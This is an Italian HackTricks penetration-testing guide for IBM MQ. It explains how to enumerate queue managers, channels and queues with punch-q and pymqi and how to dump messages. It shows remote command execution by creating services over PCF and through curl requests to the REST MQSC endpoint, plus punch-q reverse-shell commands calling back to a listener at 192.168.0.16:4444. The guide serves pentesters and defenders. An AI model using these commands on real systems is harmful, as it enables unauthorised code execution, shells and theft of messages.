1414 - Pentesting IBM MQ
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
IBM MQ è una tecnologia IBM per gestire le code di messaggi. Come altre tecnologie di broker di messaggi, è dedicata a ricevere, memorizzare, processare e classificare informazioni tra producer e consumer.
Di default, espone la porta TCP 1414 di IBM MQ. Talvolta, l’API REST HTTP può essere esposta sulla porta 9443. Le metriche (Prometheus) possono anche essere accessibili tramite la porta TCP 9157.
La porta TCP 1414 di IBM MQ può essere usata per manipolare messaggi, code, channel, … ma anche per controllare l’istanza.
IBM fornisce ampia documentazione tecnica disponibile su https://www.ibm.com/docs/en/ibm-mq.
Strumenti
Uno strumento suggerito per uno sfruttamento semplice è punch-q, con utilizzo via Docker. Lo strumento usa attivamente la libreria Python pymqi.
Per un approccio più manuale, usa la libreria Python pymqi. IBM MQ dependencies sono necessarie.
Installazione di pymqi
IBM MQ dependencies devono essere installate e caricate:
- Crea un account (IBMid) su https://login.ibm.com/.
- Scarica le librerie IBM MQ da https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc. Per Linux x86_64 è 9.0.0.4-IBM-MQC-LinuxX64.tar.gz.
- Decomprimi (
tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz). - Esegui
sudo ./mqlicense.shper accettare i termini di licenza.
Se usi Kali Linux, modifica il file
mqlicense.sh: rimuovi/commenta le seguenti righe (tra le righe 105-110):if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] then echo "ERROR: This package is incompatible with this system" echo " This package was built for ${BUILD_PLATFORM}" exit 1 fi
- Installa questi pacchetti:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
- Poi, aggiungi temporaneamente i file
.soa LD:export LD_LIBRARY_PATH=/opt/mqm/lib64, prima di eseguire altri strumenti che usano queste dipendenze.
Poi, puoi clonare il progetto pymqi: contiene frammenti di codice interessanti, costanti, … Oppure puoi installare direttamente la libreria con: pip install pymqi.
Uso di punch-q
Con Docker
Semplicemente usa: sudo docker run --rm -ti leonjza/punch-q.
Senza Docker
Clona il progetto punch-q poi segui il readme per l’installazione (pip install -r requirements.txt && python3 setup.py install).
Successivamente, può essere usato con il comando punch-q.
Enumerazione
Puoi provare a enumerare il nome del Queue Manager, gli utenti, i canali e le code con punch-q o pymqi.
Se TCP/1414 è filtrato o il target espone solo il web server embedded, controlla anche TCP/9443. Le versioni recenti di IBM MQ espongono lì di default la IBM MQ Console / REST API quando mqweb è abilitato, e l’endpoint REST amministrativo può eseguire comandi arbitrari MQSC se possiedi credenziali valide.
Queue Manager
A volte non c’è protezione per ottenere il nome del Queue Manager:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
Canali
punch-q usa una wordlist interna (modificabile) per trovare canali esistenti. Esempio d’uso:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
Succede che alcune istanze di IBM MQ accettino richieste MQ unauthenticated, quindi --username / --password non sono necessari. Ovviamente, i privilegi di accesso possono comunque variare.
Non appena otteniamo il nome di un channel (qui: DEV.ADMIN.SVRCONN), possiamo enumerare tutti gli altri channel.
L’enumerazione può essere eseguita fondamentalmente con questo snippet di codice code/examples/dis_channels.py da pymqi:
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
… Ma punch-q incorpora anche quella parte (con più informazioni!). Può essere avviato con:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
CHLAUTH / OAM recon
Molti casi del tipo “si connette ma restituisce 2035” sono causati da regole CHLAUTH o da permessi OAM mancanti sugli oggetti di destinazione.
Se hai già accesso MQSC amministrativo, MATCH(RUNCHECK) è il modo più veloce per capire quale regola verrà applicata a una connessione remota:
echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
| runmqsc MYQUEUEMGR
Attraverso l’endpoint REST di amministrazione su 9443, lo stesso controllo può essere eseguito da remoto:
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
Se hai diritti sufficienti per usare PCF da remoto, IBM espone MQCMD_INQUIRE_CHLAUTH_RECS, che restituisce i channel authentication records e le loro mappature su MCAUSER. Questo è utile per confermare se un channel associa utenti remoti a un account locale più privilegiato prima di tentare accesso ai messaggi, creazione di oggetti o abuso di servizi.
Code
C’è uno snippet di codice con pymqi (dis_queues.py) ma punch-q permette di recuperare più informazioni sulle code:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
Exploit
Dump messages
Puoi prendere di mira queue(s)/channel(s) per sniff out / dump messages da esse (operazione non distruttiva). Esempi:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
Non esitare a iterare su tutte le code identificate.
Esecuzione di codice
Alcuni dettagli prima di procedere: IBM MQ può essere controllato in diversi modi: MQSC, PCF, Control Command. Alcune liste generali si trovano in IBM MQ documentation. PCF (Formati di Comando Programmabili) è ciò su cui ci concentriamo per interagire da remoto con l’istanza. punch-q e inoltre pymqi si basano sulle interazioni PCF.
Puoi trovare una lista di comandi PCF:
Un comando interessante è
MQCMD_CREATE_SERVICEe la sua documentazione è disponibile here. Accetta come argomento unStartCommandche punta a un programma locale sull’istanza (esempio:/bin/sh).Nei documenti c’è anche un avviso riguardo a questo comando: “Attention: This command allows a user to run an arbitrary command with mqm authority. If granted rights to use this command, a malicious or careless user could define a service which damages your systems or data, for example, by deleting essential files.”
Nota: sempre secondo la documentazione IBM MQ (Administration Reference), esiste anche un endpoint HTTP in
/admin/action/qmgr/{qmgrName}/mqscper eseguire l’equivalente comando MQSC per la creazione del servizio (DEFINE SERVICE). Questo aspetto non è ancora trattato qui.
Se sono disponibili credenziali per MQ Console / REST API, spesso è possibile raggiungere le stesse primitive amministrative via HTTPS sulla porta 9443 senza usare le librerie client MQ. IBM documenta /ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc come un endpoint che accetta comandi MQSC in chiaro o JSON.
La creazione/cancellazione di servizi via PCF per l’esecuzione remota di programmi può essere effettuata con punch-q:
Esempio 1
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
Nei log di IBM MQ puoi leggere che il comando è stato eseguito correttamente:
2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
Puoi anche elencare i programmi presenti sulla macchina (qui /bin/doesnotexist … non esiste):
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
Tieni presente che il lancio del programma è asincrono. Quindi hai bisogno di un secondo elemento per sfruttare l’exploit (listener for reverse shell, creazione di file su un servizio diverso, data exfiltration through network …)
La stessa tecnica può essere eseguita tramite la REST API:
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "START SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DELETE SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
Questo è particolarmente utile durante le valutazioni in cui:
9443è raggiungibile ma1414è limitata a un intervallo di sorgente più piccolo- Il team target gestisce IBM MQ principalmente tramite la web console e ha dimenticato di rafforzare i ruoli REST
- Vuoi evitare di installare localmente le librerie client di IBM MQ e hai solo bisogno di amministrazione a livello MQSC
Esempio 2
Per una reverse shell semplice, punch-q propone anche due payloads di reverse shell :
- Uno con bash
- Uno con perl
Ovviamente puoi creare una personalizzata con il comando execute.
Per bash:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
Per perl:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
PCF personalizzato
Puoi approfondire la documentazione di IBM MQ e usare direttamente la libreria python pymqi per testare comandi PCF specifici non implementati in punch-q.
Esempio:
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
Se non riesci a trovare i nomi delle costanti, puoi fare riferimento alla IBM MQ documentation.
_Esempio per
MQCMD_REFRESH_CLUSTER(Decimale = 73). Richiede il parametroMQCA_CLUSTER_NAME(Decimale = 2029) che può essere_(Doc: ):*import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: args = {2029: "*"} response = pcf.MQCMD_REFRESH_CLUSTER(args) except pymqi.MQMIError as e: print("Error") else: print(response) qmgr.disconnect()
Ambiente di test
Se vuoi testare il comportamento di IBM MQ e gli exploits, puoi configurare un ambiente locale basato su Docker:
- Avere un account su ibm.com e cloud.ibm.com.
- Creare un IBM MQ containerizzato con:
sudo docker pull icr.io/ibm-messaging/mq:latest
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest
Qui, il nome del queue manager è stato impostato su MYQUEUEMGR (variabile MQ_QMGR_NAME).
Le immagini developer più recenti 9.4.x hanno modificato il comportamento predefinito:
admineappvengono creati solo se imposti le loro password- IBM documenta
MQ_ADMIN_PASSWORD/MQ_APP_PASSWORDcome deprecati a partire da9.4.0.0 - Il modo consigliato è iniettare secrets denominati
mqAdminPasswordemqAppPassword
Per un rapido laboratorio locale con Podman, puoi creare entrambi gli utenti così:
printf 'passw0rd' | podman secret create mqAdminPassword -
printf 'passw0rd' | podman secret create mqAppPassword -
podman run --secret mqAdminPassword --secret mqAppPassword \
-e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \
-p1414:1414 -p9157:9157 -p9443:9443 \
--name testing-ibmmq icr.io/ibm-messaging/mq:latest
Con la configurazione di sviluppo predefinita:
DEV.ADMIN.SVRCONNconsente solo l’utenteadminDEV.APP.SVRCONNè il channel dell’applicazione e l’utenteappè l’identità previstahttps://<target>:9443/ibmmq/consoleespone la console web quando il server web incorporato è abilitato
Dovresti avere IBM MQ in esecuzione con le sue porte esposte:
❯ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:latest "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
Le vecchie versioni delle immagini Docker di IBM MQ sono disponibili su: https://hub.docker.com/r/ibmcom/mq/.
Riferimenti
- mgeeky’s gist - “Practical IBM MQ Penetration Testing notes”
- MQ Jumping - DEFCON 15
- IBM MQ documentation
- IBM MQ REST API:
/admin/action/qmgr/{qmgrName}/mqsc - IBM MQ container default developer configuration
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


